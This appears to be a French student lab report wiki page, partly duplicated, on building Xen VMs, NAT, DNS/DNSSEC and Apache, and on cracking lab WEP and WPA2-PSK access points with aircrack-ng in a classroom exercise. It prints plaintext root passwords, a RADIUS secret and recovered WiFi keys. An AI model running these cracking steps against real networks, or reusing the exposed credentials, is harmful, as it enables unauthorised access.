SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface Dot11Radio0
ssid VM_SERVICES_5
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

Et ensuite sur le routeur :<syntaxhighlight lang="shell">
conf t

ip dhcp pool PoolCedric
network 10.60.5.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.5.254
exit

exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
interface Vlan15
description "VLAN personnel de Cedric PAYET (E5) - WPA2-EAP"
ip address 10.60.5.2 255.255.255.0
ipv6 address 2001:660:4401:60a5::2/64
vrrp 15 address-family ipv4
priority 110
address 10.60.5.1 primary
exit-vrrp
end

</syntaxhighlight><syntaxhighlight lang="shell">
conf t
vlan 15
name E5-Cedric
exit
exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
wifi-E306(config)#interface GigabitEthernet0.15
wifi-E306(config-subif)#encapsulation dot1Q 15
wifi-E306(config-subif)#bridge-group 15
wifi-E306(config-subif)#bridge-group 15 spanning-disabled
wifi-E306(config-subif)#no bridge-group 15 source-learning
wifi-E306(config-subif)#exit
wifi-E306(config)#exit

</syntaxhighlight><syntaxhighlight lang="shell">
interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
bridge-group 15 subscriber-loop-control
bridge-group 15 spanning-disabled
bridge-group 15 block-unknown-source
no bridge-group 15 source-learning
no bridge-group 15 unicast-flooding

</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T17:05:38Z

Cpayet : /* Nos résultats : */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

